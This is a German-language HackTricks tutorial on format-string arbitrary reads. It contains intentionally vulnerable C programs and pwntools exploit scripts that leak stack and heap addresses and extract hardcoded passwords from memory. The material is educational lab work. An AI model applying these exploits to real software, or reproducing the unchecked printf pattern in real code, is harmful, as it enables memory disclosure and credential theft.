Format Strings - Arbitrary Read Example

Erlernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Binärstart lesen

Code

#include <stdio.h>

int main(void) {
char buffer[30];

fgets(buffer, sizeof(buffer), stdin);

printf(buffer);
return 0;
}

Kompilieren Sie es mit:

clang -o fs-read fs-read.c -Wno-format-security -no-pie

Ausnutzen

from pwn import *

p = process('./fs-read')

payload = f"%11$s|||||".encode()
payload += p64(0x00400000)

p.sendline(payload)
log.info(p.clean())
  • Der Offset beträgt 11, da das Setzen mehrerer As und das Brute-Forcing mit einer Schleife von 0 bis 50 ergab, dass bei Offset 11 und mit 5 zusätzlichen Zeichen (senkrechten Strichen | in unserem Fall) die Steuerung einer vollständigen Adresse möglich ist.

  • Ich habe %11$p mit Padding verwendet, bis ich sah, dass die Adresse komplett 0x4141414141414141 war.

  • Die Format-String-Payload befindet sich VOR der Adresse, da das printf beim Lesen an einem Null-Byte stoppt, daher wird, wenn wir zuerst die Adresse und dann die Format-String senden, der printf niemals die Format-String erreichen, da zuvor ein Null-Byte gefunden wird.

  • Die ausgewählte Adresse ist 0x00400000, da hier der Binärdatei beginnt (kein PIE)

Passwörter lesen

#include <stdio.h>
#include <string.h>

char bss_password[20] = "hardcodedPassBSS"; // Password in BSS

int main() {
char stack_password[20] = "secretStackPass"; // Password in stack
char input1[20], input2[20];

printf("Enter first password: ");
scanf("%19s", input1);

printf("Enter second password: ");
scanf("%19s", input2);

// Vulnerable printf
printf(input1);
printf("\n");

// Check both passwords
if (strcmp(input1, stack_password) == 0 && strcmp(input2, bss_password) == 0) {
printf("Access Granted.\n");
} else {
printf("Access Denied.\n");
}

return 0;
}

Kompilieren Sie es mit:

clang -o fs-read fs-read.c -Wno-format-security

Vom Stack lesen

Das stack_password wird im Stack gespeichert, da es sich um eine lokale Variable handelt. Es reicht also aus, printf zu missbrauchen, um den Inhalt des Stacks anzuzeigen. Dies ist ein Exploit, um die ersten 100 Positionen zu durchsuchen und die Passwörter aus dem Stack auszulesen:

from pwn import *

for i in range(100):
print(f"Try: {i}")
payload = f"%{i}$s\na".encode()
p = process("./fs-read")
p.sendline(payload)
output = p.clean()
print(output)
p.close()

Im Bild ist zu sehen, dass wir das Passwort aus dem Stapel an der 10. Position preisgeben können:

Daten lesen

Wenn wir denselben Exploit ausführen, aber %p anstelle von %s verwenden, können wir eine Heap-Adresse vom Stapel bei %25$p preisgeben. Darüber hinaus können wir durch Vergleich der preisgegebenen Adresse (0xaaaab7030894) mit der Position des Passworts im Speicher in diesem Prozess den Adressunterschied ermitteln:

Jetzt ist es an der Zeit herauszufinden, wie wir eine Adresse im Stapel kontrollieren können, um darauf über die zweite Format-String-Schwachstelle zuzugreifen:

from pwn import *

def leak_heap(p):
p.sendlineafter(b"first password:", b"%5$p")
p.recvline()
response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
return int(response, 16)

for i in range(30):
p = process("./fs-read")

heap_leak_addr = leak_heap(p)
print(f"Leaked heap: {hex(heap_leak_addr)}")

password_addr = heap_leak_addr - 0x126a

print(f"Try: {i}")
payload = f"%{i}$p|||".encode()
payload += b"AAAAAAAA"

p.sendline(payload)
output = p.clean()
print(output.decode("utf-8"))
p.close()

Und es ist möglich zu sehen, dass im Versuch 14 mit der verwendeten Übergabe wir eine Adresse kontrollieren können:

Ausnutzen

from pwn import *

p = process("./fs-read")

def leak_heap(p):
# At offset 25 there is a heap leak
p.sendlineafter(b"first password:", b"%25$p")
p.recvline()
response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
return int(response, 16)

heap_leak_addr = leak_heap(p)
print(f"Leaked heap: {hex(heap_leak_addr)}")

# Offset calculated from the leaked position to the possition of the pass in memory
password_addr = heap_leak_addr + 0x1f7bc

print(f"Calculated address is: {hex(password_addr)}")

# At offset 14 we can control the addres, so use %s to read the string from that address
payload = f"%14$s|||".encode()
payload += p64(password_addr)

p.sendline(payload)
output = p.clean()
print(output)
p.close()
Erlernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Last updated